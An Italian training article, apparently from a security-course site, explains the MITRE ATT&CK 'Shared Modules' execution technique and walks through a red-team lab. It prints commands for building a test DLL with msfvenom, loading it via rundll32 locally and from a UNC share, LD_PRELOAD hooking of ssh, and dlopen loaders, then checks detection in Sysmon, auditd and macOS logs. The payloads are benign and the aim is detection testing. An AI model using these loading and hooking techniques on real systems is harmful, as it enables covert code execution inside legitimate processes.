Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
La tecnica Shared Modules descrive l'abuso dei meccanismi nativi di caricamento di librerie dinamiche — DLL su Windows, .so su Linux, .dylib su macOS — per eseguire codice malevolo all'interno di processi legittimi. L'idea è semplice ma potente: il sistema operativo offre API documentate per caricare moduli a runtime (LoadLibrary nella Windows Native API, dlopen/dlsym nella libreria POSIX dlfcn.h), e gli avversari le sfruttano per iniettare funzionalità arbitrarie senza dover compilare un monolite.
La tecnica si colloca nella tattica Execution (TA0002), la fase in cui l'attaccante trasforma l'accesso ottenuto in capacità operativa eseguendo codice controllato. Il suo valore tattico sta nella modularità: il malware può scaricare e caricare componenti separati — uno per il C2, uno per l'esfiltrazione, uno per le azioni distruttive — riducendo l'impronta su disco e complicando l'analisi.
I numeri del catalogo MITRE parlano chiaro: 21 famiglie software documentate, 1 gruppo APT attribuito e 1 mitigazione raccomandata. Nessuna campagna specifica è stata catalogata, ma la trasversalità dei software coinvolti — da Stuxnet a Bumblebee, da Ebury a LightSpy — dimostra che questa tecnica attraversa epoche, piattaforme e motivazioni operative diverse.
Il caricamento di moduli condivisi è una delle tecniche più naturali da replicare in laboratorio perché si appoggia su API di sistema perfettamente documentate. L'obiettivo dell'esercizio red team è dimostrare che un processo legittimo può caricare una DLL (o un .so) arbitraria e ottenere esecuzione di codice, bypassando eventuali controlli basati su firma o percorso.
Su Windows, il punto di partenza è una DLL custom compilata con un payload benigno (ad esempio un calcolo o una scrittura su file di log). Puoi generarla con msfvenom di Metasploit Framework (open source) per i test di detection:
msfvenom -p windows/x64/messagebox TEXT="T1129 Test" -f dll -o test_module.dll
Per caricarla a runtime come farebbe un malware reale tramite LoadLibrary, è sufficiente un semplice loader in C oppure puoi usare rundll32 dalla riga di comando:
rundll32.exe C:\Users\Public\test_module.dll,EntryPoint
Per simulare il caricamento da percorso UNC — scenario documentato nella tecnica — posiziona la DLL su una share SMB interna al lab e invoca:
rundll32.exe \192.168.1.100\share\test_module.dll,EntryPoint
Un test più sofisticato prevede l'uso di un loader custom che chiami direttamente LoadLibraryExW con flag specifici, replicando il comportamento di malware come Astaroth. Il progetto sRDI — Shellcode Reflective DLL Injection (open source) — permette di convertire una DLL in shellcode per il reflective loading, simulando ciò che PipeMon fa in-the-wild con i propri moduli.
Su Linux, la replica avviene tramite le funzioni dlopen e dlsym. Compila un shared object minimale e caricalo con un programma in C che invochi dlopen("./payload.so", RTLD_LAZY). Per testare lo scenario LD_PRELOAD, che Ebury sfrutta agganciandosi a keyutils.so:
LD_PRELOAD=/tmp/test_hook.so /usr/bin/ssh -V
Questo forza il caricamento della libreria prima di qualsiasi altra, permettendo l'hooking delle funzioni di OpenSSH.
Su macOS, il flusso è analogo ma con .dylib. Il malware OSX_OCEANLOTUS.D e LightSpy usano esattamente dlopen() seguito da dlsym() per caricare moduli di comunicazione C2. Compila un .dylib di test con Xcode o GCC e caricalo con un loader che chiami dlopen("/tmp/test.dylib", RTLD_NOW).
Per ogni test, verifica che i log Sysmon (EventCode 7 per Image Load su Windows), auditd (syscall openat su Linux) e Endpoint Security Framework (macOS) registrino correttamente l'evento. Questo chiude il cerchio tra simulazione offensiva e validazione della detection.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo